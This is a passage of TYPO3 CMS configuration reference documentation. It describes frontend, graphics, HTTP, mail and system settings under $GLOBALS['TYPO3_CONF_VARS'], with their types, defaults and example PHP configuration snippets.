Same as $TYPO3_CONF_VARS[SYS][cookieDomain]<_typo3ConfVars_sys_cookieDomain> but only for FE cookies. If empty, $TYPO3_CONF_VARS[SYS][cookieDomain] value will be used.

cookieName

cookieName
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['cookieName']
Default
'fe_typo_user'

Sets the name for the cookie used for the front-end user session

cookieSameSite

cookieSameSite
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['cookieSameSite']
Default
'lax'
allowedValues
1 lax Cookies set by TYPO3 are only available for the current site, third-party integrations are not allowed to read cookies, except for links and simple HTML forms strict Cookies sent by TYPO3 are only available for the current site, never shared to other third-party packages none Allow cookies set by TYPO3 to be sent to other sites as well, please note - this only works with HTTPS connections

Indicates that the cookie should send proper information where the cookie can be shared (first-party cookies vs. third-party cookies) in TYPO3 Frontend.

defaultTypoScript_constants

defaultTypoScript_constants
Type
multiline
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['defaultTypoScript_constants']
Default
''

Enter lines of default TypoScript, constants-field.

defaultTypoScript_setup

defaultTypoScript_setup
Type
multiline
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['defaultTypoScript_setup']
Default
''

Enter lines of default TypoScript, setup-field.

additionalAbsRefPrefixDirectories

additionalAbsRefPrefixDirectories
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['additionalAbsRefPrefixDirectories']
Default
''

Enter additional directories to be prepended with absRefPrefix. Directories must be comma-separated. TYPO3 already prepends the following directories public/_assets/, public/typo3temp/ and all local storages including public/fileadmin/.

In Classic mode installations without Composer typo3conf/ext and typo3/ are also prefixed.

enable_mount_pids

enable_mount_pids
Type
bool
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['enable_mount_pids']
Default
true

If enabled, the mount_pid feature allowing symlinks in the page tree (for frontend operation) is allowed.

hidePagesIfNotTranslatedByDefault

hidePagesIfNotTranslatedByDefault
Type
bool
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['hidePagesIfNotTranslatedByDefault']
Default
false

If enabled, pages that have no translation will be hidden by default. Basically this will inverse the effect of the page localization setting "Hide page if no translation for current language exists" to "Show page even if no translation exists"

eID_include

eID_include
Type
array
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['eID_include']
Default
[]

Array of key/value pairs where the key is tx_[ext]_[optional suffix] and value is relative filename of class to include. Key is used as "?eID=" for \TYPO3\CMS\Frontend\Http\RequestHandlerRequestHandler to include the code file which renders the page from that point.

(Useful for functionality that requires a low initialization footprint, for example frontend Ajax applications)

disableNoCacheParameter

disableNoCacheParameter
Type
bool
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['disableNoCacheParameter']
Default
false

If set, the no_cache request parameter will become ineffective. This is currently still an experimental feature and will require a website only with plugins that dont use this parameter. However, using "&amp;no_cache=1" should be avoided anyway because there are better ways to disable caching for a certain part of the website (see COA_INT/USER_INT<t3tsref:cobj-coa-int>).

additionalCanonicalizedUrlParameters

additionalCanonicalizedUrlParameters
Type
array
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['additionalCanonicalizedUrlParameters']
Default
[]

The given parameters will be included when calculating canonicalized URL. See Including specific arguments for the URL generation for details.

cacheHash

cacheHash
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['cacheHash']

cachedParametersWhiteList

cachedParametersWhiteList
Type
array
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['cacheHash']['cachedParametersWhiteList']
Default
[]

Only the given parameters will be evaluated in the cHash calculation. Example:

config/system/additional.php | typo3conf/system/additional.php
$GLOBALS['TYPO3_CONF_VARS']['FE']['cacheHash']['cachedParametersWhiteList'][] = 'tx_news_pi1[uid]';
Copied!

requireCacheHashPresenceParameters

requireCacheHashPresenceParameters
Type
array
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['cacheHash']['requireCacheHashPresenceParameters']
Default
[]

Configure Parameters that require a cHash. If no cHash is given but one of the parameters are set, then TYPO3 triggers the configured cHash Error behaviour

excludedParameters

excludedParameters
Type
array
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['cacheHash']['excludedParameters']
Default
['L', 'pk_campaign', 'pk_kwd', 'utm_source', 'utm_medium', 'utm_campaign', 'utm_term', 'utm_content', 'gclid', 'fbclid']

The given parameters will be ignored in the cHash calculation. Example:

config/system/additional.php | typo3conf/system/additional.php
$GLOBALS['TYPO3_CONF_VARS']['FE']['cacheHash']['excludedParameters'] = ['L','tx_search_pi1[query]'];
Copied!

excludedParametersIfEmpty

excludedParametersIfEmpty
Type
array
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['cacheHash']['excludedParametersIfEmpty']
Default
[]

Configure Parameters that are only relevant for the cHash if there's an associated value available. Set excludeAllEmptyParameters to true to skip all empty parameters.

excludeAllEmptyParameters

excludeAllEmptyParameters
Type
bool
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['cacheHash']['excludeAllEmptyParameters']
Default
false

If true, all parameters which are relevant for cHash are only considered if they are non-empty.

enforceValidation

enforceValidation
Type
bool
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['cacheHash']['enforceValidation']
Default
false (for existing installations), true (for new installations)

If this option is enabled, the same validation is used to calculate a "cHash" value as when a valid or invalid "cHash" parameter is given to a request, even when no "cHash" is given.

Details:

Since TYPO3 v9 and the PSR-15 middleware concept, cHash validation has been moved outside of plugins and rendering code inside a validation middleware to check if a given "cHash" acts as a signature of other query parameters in order to use a cached version of a frontend page.

However, the check only provided information about an invalid "cHash" in the query parameters. If no "cHash" was given, the only option was to add a "required list" (global TYPO3 configuration option requireCacheHashPresenceParameters), but not based on the final excludedParameters for the cache hash calculation of the given query parameters.

workspacePreviewLogoutTemplate

workspacePreviewLogoutTemplate
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['workspacePreviewLogoutTemplate']
Default
''

If set, points to an HTML file relative to the TYPO3_site root which will be read and outputted as template for this message. Example fileadmin/templates/template_workspace_preview_logout.html.

Inside you can put the marker %1$s to insert the URL to go back to. Use this in <a href="%1$s">Go back...</a> links.

versionNumberInFilename

versionNumberInFilename
Type
bool
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['versionNumberInFilename']
Default
false

If enabled, included CSS and JS files loaded in the TYPO3 frontend will have the timestamp embedded in the filename, for example, filename.1676276352.js. This will make browsers and proxies reload the files, if they change (thus avoiding caching issues).

If disabled, the last modification date of the file will be appended as a query string.

contentRenderingTemplates

contentRenderingTemplates
Type
array
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['contentRenderingTemplates']
Default
[]

Array to define the TypoScript parts that define the main content rendering.

Extensions like fluid_styled_content provide content rendering templates. Other extensions like felogin or indexed search extend these templates and their TypoScript parts are added directly after the content templates.

See EXT:fluid_styled_content/ext_localconf.php and EXT:core/Classes/TypoScript/IncludeTree/TreeBuilder.php

typolinkBuilder

typolinkBuilder
Type
array
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['typolinkBuilder']

Matches the LinkService implementations for generating URLs and link texts via typolink. This configuration value can be used to register a custom link builder for the frontend generation of links.

Default value of $GLOBALS['TYPO3_CONF_VARS']['FE']['typolinkBuilder']
[
    'page' => \TYPO3\CMS\Frontend\Typolink\PageLinkBuilder::class,
    'file' => \TYPO3\CMS\Frontend\Typolink\FileOrFolderLinkBuilder::class,
    'folder' => \TYPO3\CMS\Frontend\Typolink\FileOrFolderLinkBuilder::class,
    'url' => \TYPO3\CMS\Frontend\Typolink\ExternalUrlLinkBuilder::class,
    'email' => \TYPO3\CMS\Frontend\Typolink\EmailLinkBuilder::class,
    'record' => \TYPO3\CMS\Frontend\Typolink\DatabaseRecordLinkBuilder::class,
    'telephone' => \TYPO3\CMS\Frontend\Typolink\TelephoneLinkBuilder::class,
    'unknown' => \TYPO3\CMS\Frontend\Typolink\LegacyLinkBuilder::class,
]
Copied!

passwordHashing

passwordHashing

className

className
Type
string
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['passwordHashing']['className']
Default
\TYPO3\CMS\Core\Crypto\PasswordHashing\Argon2iPasswordHash::class
allowedValues
1 \TYPO3\CMS\Core\Crypto\PasswordHashing\Argon2iPasswordHash::class Good password hash mechanism. Used by default if available. \TYPO3\CMS\Core\Crypto\PasswordHashing\Argon2idPasswordHash::class Good password hash mechanism. \TYPO3\CMS\Core\Crypto\PasswordHashing\BcryptPasswordHash::class Good password hash mechanism. \TYPO3\CMS\Core\Crypto\PasswordHashing\Pbkdf2PasswordHash::class Fallback hash mechanism if argon and bcrypt are not available. \TYPO3\CMS\Core\Crypto\PasswordHashing\PhpassPasswordHash::class Fallback hash mechanism if none of the above are available.

options

options
Type
array
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['passwordHashing']['options']
Default
[]

Special settings for specific hashes.

passwordPolicy

passwordPolicy
Type
string
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['passwordPolicy']
Default
default

Defines the password policy in frontend context.

exposeRedirectInformation

exposeRedirectInformation
Type
bool
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['exposeRedirectInformation']
Default
false

If set, redirects executed by TYPO3 publicly expose the page ID in the HTTP header. As this is an internal information about the TYPO3 system, it should only be enabled for debugging purposes.

contentSecurityPolicyReportingUrl

contentSecurityPolicyReportingUrl
Type
string
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['contentSecurityPolicyReportingUrl']
Default
''

Configure the reporting HTTP endpoint of Content Security Policy violations in the frontend; if it is empty, the TYPO3 endpoint will be used.

Setting this configuration to '0' disables Content Security Policy reporting. If the endpoint is still called then, the server-side process responds with a 403 HTTP error message.

If defined, the site-specific configuration in config/sites/my_site/csp.yaml takes precedence over the global configuration.

config/system/additional.php
$GLOBALS['TYPO3_CONF_VARS']['FE']['contentSecurityPolicyReportingUrl']
    = 'https://csp-violation.example.org/';
Copied!
config/system/additional.php
// Disables Content Security Policy reporting
$GLOBALS['TYPO3_CONF_VARS']['BE']['contentSecurityPolicyReportingUrl'] = '0';
Copied!

Use $GLOBALS['TYPO3_CONF_VARS']['BE']['contentSecurityPolicyReportingUrl'] to configure Content Security Policy reporting for the backend.

GFX - graphics configuration

The following configuration variables can be used to configure settings for the handling of images and graphics:

thumbnails

thumbnails
Type
bool
Path
$GLOBALS['TYPO3_CONF_VARS']['GFX']['thumbnails']
Default
true

Enables the use of thumbnails in the backend interface.

imagefile_ext

imagefile_ext
Type
list
Path
$GLOBALS['TYPO3_CONF_VARS']['GFX']['imagefile_ext']
Default
'gif,jpg,jpeg,tif,tiff,bmp,pcx,tga,png,pdf,ai,svg,webp'

New in version 13.0

"webp" has been added to the list of default image file extensions.

If the underlying ImageMagick / GraphicsMagick library is not built with WebP support, the server administrators can install or recompile the library with WebP support by installing the "cwebp" or "dwebp" libraries.

Comma-separated list of file extensions recognized as images by TYPO3. List should be set to 'gif,png,jpeg,jpg,webp', if ImageMagick / GraphicsMagick is not available.

processor_enabled

processor_enabled
Type
bool
Path
$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor_enabled']
Default
true

Enables the use of Image- or GraphicsMagick.

processor_path

processor_path
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor_path']
Default
'/usr/bin/'

Path to the IM tools convert, combine, identify.

processor

processor
Type
dropdown
Path
$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor']
Default
'ImageMagick'
allowedValues
1 ImageMagick Choose ImageMagick for processing images GraphicsMagick Choose GraphicsMagick for processing images

Select which external software on the server should process images - see also the preset functionality to see what is available.

processor_effects

processor_effects
Type
bool
Path
$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor_effects']
Default
false

If enabled, apply blur and sharpening in ImageMagick/GraphicsMagick functions

processor_allowUpscaling

processor_allowUpscaling
Type
bool
Path
$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor_allowUpscaling']
Default
true

If set, images can be scaled up if told so (in \TYPO3\CMS\Core\Imaging\GraphicalFunctions )

processor_allowFrameSelection

processor_allowFrameSelection
Type
bool
Path
$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor_allowFrameSelection']
Default
true

If set, the [x] frame selector is appended to input filenames in stdgraphic. This speeds up image processing for PDF files considerably. Disable if your image processor or environment cant cope with the frame selection.

processor_stripColorProfileByDefault

processor_stripColorProfileByDefault
Type
bool
Path
$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor_stripColorProfileByDefault']
Default
true

If set, the processor_stripColorProfileCommand is used with all processor image operations by default. See tsRef for setting this parameter explicitly for IMAGE generation.

processor_stripColorProfileCommand

processor_stripColorProfileCommand
Type
string
Path
$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor_stripColorProfileCommand']

This option expected a string of command line parameters. The defined parameters had to be shell-escaped beforehand, while the new option GFX - graphics configuration expects an array of strings that will be shell-escaped by TYPO3 when used.

The existing configuration will continue to be supported. Still, it is suggested to use the new configuration format, as the Install Tool is adapted to allow modification of the new configuration option only:

// Before
$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor_stripColorProfileCommand'] = '+profile \'*\'';

// After
$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor_stripColorProfileParameters'] = [
    '+profile',
    '*'
];
Copied!

processor_stripColorProfileParameters

processor_stripColorProfileParameters
Type
array of strings
Path
$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor_stripColorProfileParameters']
Default
['+profile', '*']

Specifies the parameters to strip the profile information, which can reduce thumbnail size up to 60KB. Command can differ in IM/GM, IM also knows the -strip command. See imagemagick.org for details.

processor_colorspace

processor_colorspace
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor_colorspace']
Default
''

Changed in version 13.0

The setting defaults to an empty value and - if not changed - is adjusted automatically to the recommended colorspace for the given processor ("sRGB" for ImageMagick, "RGB" for GraphicsMagick).

Specifies the colorspace to use. Defaults to "RGB" when using GraphicsMagick as processor and "sRGB" when using ImageMagick.

Possible values: CMY, CMYK, Gray, HCL, HSB, HSL, HWB, Lab, LCH, LMS, Log, Luv, OHTA, Rec601Luma, Rec601YCbCr, Rec709Luma, Rec709YCbCr, RGB, sRGB, Transparent, XYZ, YCbCr, YCC, YIQ, YCbCr, YUV

processor_interlace

processor_interlace
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor_interlace']
Default
'None'

Specifies the interlace option to use. The result differs in different GM / IM versions. See manual of GraphicsMagick or ImageMagick for right option.

Possible values: None, Line, Plane, Partition

jpg_quality

jpg_quality
Type
int
Path
$GLOBALS['TYPO3_CONF_VARS']['GFX']['jpg_quality']
Default
85
Allowed values
Between 1 (low quality, small file size) and 100 (best quality, large file size)

New in version 13.0

Lowest quality can be "1". Previously the lowest quality setting was "10".

Default JPEG generation quality

webp_quality

webp_quality
Type
int | string
Path
$GLOBALS['TYPO3_CONF_VARS']['GFX']['webp_quality']
Default
85
Allowed values
Between 1 (low quality, small file size) and 100 (best quality, large file size), or "lossless"

New in version 13.0

Default WebP generation quality. Setting the quality to "lossless" is equivalent to "lossless" compression.

thumbnails_png

thumbnails_png
Path
$GLOBALS['TYPO3_CONF_VARS']['GFX']['thumbnails_png']

Changed in version 13.0

This setting has been removed. Thumbnails from non-image files (like PDF) are always generated as PNG.

gif_compress

gif_compress
Path
$GLOBALS['TYPO3_CONF_VARS']['GFX']['gif_compress']

Changed in version 13.0

This setting has been removed.

processor_allowTemporaryMasksAsPng

processor_allowTemporaryMasksAsPng
Path
$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor_allowTemporaryMasksAsPng']

Changed in version 13.0

This setting has been removed. Temporarily saved masking images are always saved as PNG files rather than GIF images.

gdlib

gdlib
Path
$GLOBALS['TYPO3_CONF_VARS']['GFX']['gdlib']

Changed in version 13.0

This setting has been removed. GDLib functionality is enabled as soon as relevant GDLib classes are found.

Custom code that relied on $GLOBALS['TYPO3_CONF_VARS']['GFX']['gdlib'] should instead adopt the simpler check if (class_exists(\GdImage::class)).

gdlib_png

gdlib_png
Path
$GLOBALS['TYPO3_CONF_VARS']['GFX']['gdlib_png']

Changed in version 13.0

This setting has been removed. Temporary layers/masks are always saved as PNG files instead of GIF files.

HTTP - tune requests

HTTP configuration to tune how TYPO3 behaves on HTTP requests made by TYPO3. See Guzzle documentation for more background information on those settings.

allow_redirects

allow_redirects
Type
mixed
Path
$GLOBALS['TYPO3_CONF_VARS']['HTTP']['allow_redirects']

Mixed, set to false if you want to disallow redirects, or use it as an array to add more configuration values (see below).

strict

strict
Type
bool
Path
$GLOBALS['TYPO3_CONF_VARS']['HTTP']['allow_redirects']['strict']
Default
false

Whether to keep request method on redirects via status 301 and 302

TRUE
Strict RFC compliant redirects mean that POST redirect requests are sent as POST requests. This is needed for compatibility with RFC 2616)
FALSE
redirect POST requests with GET requests, needed for compatibility with most browsers

max

max
Type
int
Path
$GLOBALS['TYPO3_CONF_VARS']['HTTP']['allow_redirects']['max']
Default
5

Maximum number of tries before an exception is thrown.

cert

cert
Type
mixed
Path
$GLOBALS['TYPO3_CONF_VARS']['HTTP']['cert']
Default
null

Set to a string to specify the path to a file containing a PEM formatted client side certificate. See Guzzle option cert

connect_timeout

connect_timeout
Type
int
Path
$GLOBALS['TYPO3_CONF_VARS']['HTTP']['connect_timeout']
Default
10

Default timeout for connection in seconds. Exception will be thrown if connecting to a remote host

proxy

proxy
Type
mixed
Path
$GLOBALS['TYPO3_CONF_VARS']['HTTP']['proxy']
Default
null

Enter a single proxy server as string, for example 'proxy.example.org'

Multiple proxies for different protocols can be added separately as an array as authentication and port; see Guzzle documentation for details.

The configuration with an array must be made in the config/system/additional.php; see File config/system/additional.php for details.

ssl_key

ssl_key
Type
mixed
Path
$GLOBALS['TYPO3_CONF_VARS']['HTTP']['ssl_key']
Default
null

Local certificate and an optional passphrase, see Guzzle option ssl-key

timeout

timeout
Type
int
Path
$GLOBALS['TYPO3_CONF_VARS']['HTTP']['timeout']
Default
0

Default timeout for whole request. Exception will be thrown if sending the request takes more than this number of seconds.

Should be greater than the connection timeout or 0 to not set a limit.

verify

verify
Type
mixed
Path
$GLOBALS['TYPO3_CONF_VARS']['HTTP']['verify']
Default
true

Describes the SSL certificate verification behavior of a request, see Guzzle option verify

version

version
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['HTTP']['version']
Default
'1.1'

Default HTTP protocol version. Use either "1.0" or "1.1".

MAIL settings

The following configuration variables can be used to configure settings for the sending of mails by TYPO3:

format

format
Type
dropdown
Path
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['format']
Default
'both'
Allowed values
html
Send emails only in HTML format
txt
Send emails only in plain text format
both
Send emails in HTML and plain text format

The Mailer API allows to send out templated emails, which can be configured on a system-level to send out HTML-based emails or plain text emails, or emails with both variants.

layoutRootPaths

layoutRootPaths
Type
array
Path
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['layoutRootPaths']
Default values
[
    0 => 'EXT:core/Resources/Private/Layouts/',
    10 => 'EXT:backend/Resources/Private/Layouts/'
]
Copied!

List of paths to look for layouts for templated emails. Should be specified as .txt and .html files.

partialRootPaths

partialRootPaths
Type
array
Path
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['partialRootPaths']
Default values
[
    0 => 'EXT:core/Resources/Private/Partials/',
    10 => 'EXT:backend/Resources/Private/Partials/'
]
Copied!

List of paths to look for partials for templated emails. Should be specified as .txt and .html files.

templateRootPaths

templateRootPaths
Type
array
Path
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['templateRootPaths']
Default values
[
    0 => 'EXT:core/Resources/Private/Templates/Email/',
    10 => 'EXT:backend/Resources/Private/Templates/Email/'
]
Copied!

List of paths to look for template files for templated emails. Should be specified as .txt and .html files.

validators

validators
Type
array
Path
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['validators']
Default
[\Egulias\EmailValidator\Validation\RFCValidation::class]

List of validators used to validate an email address.

Available validators are:

  • \Egulias\EmailValidator\Validation\DNSCheckValidation
  • \Egulias\EmailValidator\Validation\NoRFCWarningsValidation
  • \Egulias\EmailValidator\Validation\RFCValidation
  • \Egulias\EmailValidator\Validation\SpoofCheckValidation

or by implementing a custom validator.

transport

transport
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport']
Default
'sendmail'
smtp
Sends messages over the (standardized) Simple Message Transfer Protocol. It can deal with encryption and authentication. Most flexible option, requires a mail server and configurations in transport_smtp_* settings below. Works the same on Windows, Unix and MacOS.
sendmail
Sends messages by communicating with a locally installed MTA - such as sendmail. See setting transport_sendmail_command below.
dsn
Sends messages with the Symfony mailer, see Symfony mailer documentation. Configure this mailer with the [MAIL][dsn] setting.
mbox
This does not send any mail out, but instead will write every outgoing mail to a file adhering to the RFC 4155 mbox format, which is a simple text file where the mails are concatenated. Useful for debugging the mail sending process and on development machines which cannot send mails to the outside. Configure the file to write to in the transport_mbox_file setting below
classname
Custom class which implements \Symfony\Component\Mailer\Transport\TransportInterface. The constructor receives all settings from the MAIL section to make it possible to add custom settings.

transport_smtp_*

transport_smtp_*

transport_smtp_server

transport_smtp_server
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_server']
Default
'localhost:25'

only with transport=smtp server port of mail server to connect to. port defaults to "25".

transport_smtp_domain

transport_smtp_domain
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_domain']
Default
''

Some smtp-relay-servers require the domain to be set from which the sender is sending an email. By default, the EsmtpTransport from Symfony will use the current domain/IP of the host or container. This will be sufficient for most servers, but some servers require that a valid domain is passed. If this isn't done, sending emails via such servers will fail.

Setting a valid SMTP domain can be achieved by setting transport_smtp_domain in the config/system/settings.php. This will set the given domain to the EsmtpTransport agent and send the correct EHLO-command to the relay-server.

Configuration Example for GSuite:

config/system/settings.php
return [
     //....
     'MAIL' => [
           'defaultMailFromAddress' => 'webserver@example.org',
           'defaultMailFromName' => 'SYSTEMMAIL',
           'transport' => 'smtp',
           'transport_smtp_domain' => 'example.org',
           'transport_smtp_encrypt' => '',
           'transport_smtp_password' => '',
           'transport_smtp_server' => 'smtp-relay.gmail.com:587',
           'transport_smtp_username' => '',
     ],
     //....
];
Copied!

transport_smtp_stream_options

transport_smtp_stream_options
Type
array
Path
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_stream_options']
Default
null

only with transport=smtp Sets additional stream options.

Configuration Example:

config/system/additional.php | typo3conf/system/additional.php
return [
     //....
     'MAIL' => [
           'transport' => 'smtp',
           'transport_smtp_server' => 'localhost:1025',
           'transport_smtp_stream_options' => [
                'ssl' => [
                     'verify_peer' => false,
                     'verify_peer_name' => false,
                ]
           ],
     ],
     //....
];
Copied!

transport_smtp_encrypt

transport_smtp_encrypt
Type
bool
Path
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_encrypt']
Default
false

only with transport=smtp Connects to the server using SSL/TLS (disables STARTTLS which is used by default if supported by the server). Must not be enabled when connecting to port 587, as servers will use STARTTLS (inner encryption) via SMTP instead of SMTPS. It will automatically be enabled if port is 465.

transport_smtp_username

transport_smtp_username
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_username']
Default
''

only with transport=smtp If your SMTP server requires authentication, enter your username here.

transport_smtp_password

transport_smtp_password
Type
password
Path
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_password']
Default
''

only with transport=smtp If your SMTP server requires authentication, enter your password here.

transport_smtp_restart_threshold

transport_smtp_restart_threshold
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_restart_threshold']
Default
''

only with transport=smtp Sets the maximum number of messages to send before re-starting the transport.

transport_smtp_restart_threshold_sleep

transport_smtp_restart_threshold_sleep
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_restart_threshold_sleep']
Default
''

only with transport=smtp Sets the number of seconds to sleep between stopping and re-starting the transport.

transport_smtp_ping_threshold

transport_smtp_ping_threshold
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_ping_threshold']
Default
''

only with transport=smtp Sets the minimum number of seconds required between two messages, before the server is pinged. If the transport wants to send a message and the time since the last message exceeds the specified threshold, the transport will ping the server first (NOOP command) to check if the connection is still alive. Otherwise the message will be sent without pinging the server first.

transport_sendmail_*

transport_sendmail_*

transport_sendmail_command

transport_sendmail_command
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_sendmail_command']
Default
''

only with transport=sendmail The command to call to send a mail locally.

transport_mbox_*

transport_mbox_*

transport_mbox_file

transport_mbox_file
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_mbox_file']
Default
''

only with transport=mbox The file where to write the mails into. This file will be conforming the mbox format described in RFC 4155. It is a simple text file with a concatenation of all mails. Path must be absolute.

transport_spool_*

transport_spool_*

transport_spool_type

transport_spool_type
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_spool_type']
Default
''
file
Messages get stored to the file system till they get sent through the command mailer:spool:send.
memory
Messages get sent at the end of the running process.
classname
Custom class which implements the \TYPO3\CMS\Core\Mail\DelayedTransportInterface interface.

transport_spool_filepath

transport_spool_filepath
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_spool_filepath']
Default
''

only with transport_spool_type=file Path where messages get temporarily stored. Ensure that this is stored outside of your webroot.

dsn

dsn
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['dsn']
Default
''

only with transport=dsn The DSN configuration of the Symfony mailer (for example smtp://userpass@smtp.example.org:25). Symfony provides different mail transports like SMTP, sendmail or many 3rd party email providers like AWS SES, Gmail, MailChimp, Mailgun and more. You can find all supported providers in the Symfony mailer documentation.

Set [MAIL][dsn] to the configuration value described in the Symfony mailer documentation (see above).

Examples:

  • $GLOBALS['TYPO3_CONF_VARS']['MAIL']['dsn'] = "smtp://user:pass@smtp.example.org:25"
  • $GLOBALS['TYPO3_CONF_VARS']['MAIL']['dsn'] = "sendmail://default"

defaultMailFromAddress

defaultMailFromAddress
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['defaultMailFromAddress']
Default
''

This default email address is used when no other "from" address is set for a TYPO3-generated email. You can specify an email address only (for example 'info@example.org)'.

defaultMailFromName

defaultMailFromName
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['defaultMailFromName']
Default
''

This default name is used when no other "from" name is set for a TYPO3-generated email.

defaultMailReplyToAddress

defaultMailReplyToAddress
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['defaultMailReplyToAddress']
Default
''

This default email address is used when no other "reply-to" address is set for a TYPO3-generated email. You can specify an email address only (for example 'info@example.org').

defaultMailReplyToName

defaultMailReplyToName
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['defaultMailReplyToName']
Default
''

This default name is used when no other "reply-to" name is set for a TYPO3-generated email.

SYS - System configuration

The following configuration variables can be used for system wide configurations.

fileCreateMask

fileCreateMask
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['fileCreateMask']
Default
0664

File mode mask for Unix file systems (when files are uploaded/created).

folderCreateMask

folderCreateMask
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['folderCreateMask']
Default
2775

As above, but for folders.

createGroup

createGroup
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['createGroup']
Default
''

Group for newly created files and folders (Unix only). Group ownership can be changed on Unix file systems (see above). Set this if you want to change the group ownership of created files/folders to a specific group.

This makes sense in all cases where the webserver is running with a different user/group as you do. Create a new group on your system and add you and the webserver user to the group. Now you can safely set the last bit in fileCreateMask/folderCreateMask to 0 (for example 770). Important: The user who is running your webserver needs to be a member of the group you specify here! Otherwise you might get some error messages.

sitename

sitename
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['sitename']
Default
'TYPO3'

Name of the base-site.

defaultScheme

defaultScheme
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['defaultScheme']
Default
'http'

Set the default URI scheme. This is used within links if no scheme is given. One can set this to 'https' if this should be used by default.

encryptionKey

encryptionKey
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['encryptionKey']
Default
''

This is a "salt" used for various kinds of encryption, CRC checksums and validations. You can enter any rubbish string here but try to keep it secret. You should notice that a change to this value might invalidate temporary information, URLs etc. At least, clear all cache if you change this so any such information can be rebuilt with the new key.

cookieDomain

cookieDomain
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['cookieDomain']
Default
''

Restricts the domain name for FE and BE session cookies. When setting the value to ".example.org" (replace example.org with your domain!), login sessions will be shared across subdomains. Alternatively, if you have more than one domain with sub-domains, you can set the value to a regular expression to match against the domain of the HTTP request. This however requires that all sub-domains are within the same TYPO3 instance, because a session can be tied to only one database.

The result of the match is used as the domain for the cookie. for example : php:/\.(example1|example2)\.com$/ or /\.(example1\.com)|(example2\.net)$/. Separate domains for FE and BE can be set using $TYPO3_CONF_VARS[FE][cookieDomain] and $TYPO3_CONF_VARS[BE][cookieDomain] respectively.

trustedHostsPattern

trustedHostsPattern
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['trustedHostsPattern']
Default
'SERVER_NAME'

Regular expression pattern that matches all allowed hostnames (including their ports) of this TYPO3 installation, or the string SERVER_NAME (default).

The default value SERVER_NAME checks if the HTTP Host header equals the SERVER_NAME and SERVER_PORT. This is secure in correctly configured hosting environments and does not need further configuration. If you cannot change your hosting environment, you can enter a regular expression here.

Examples:

.*\.example\.org matches all hosts that end with .example.org with all corresponding subdomains.

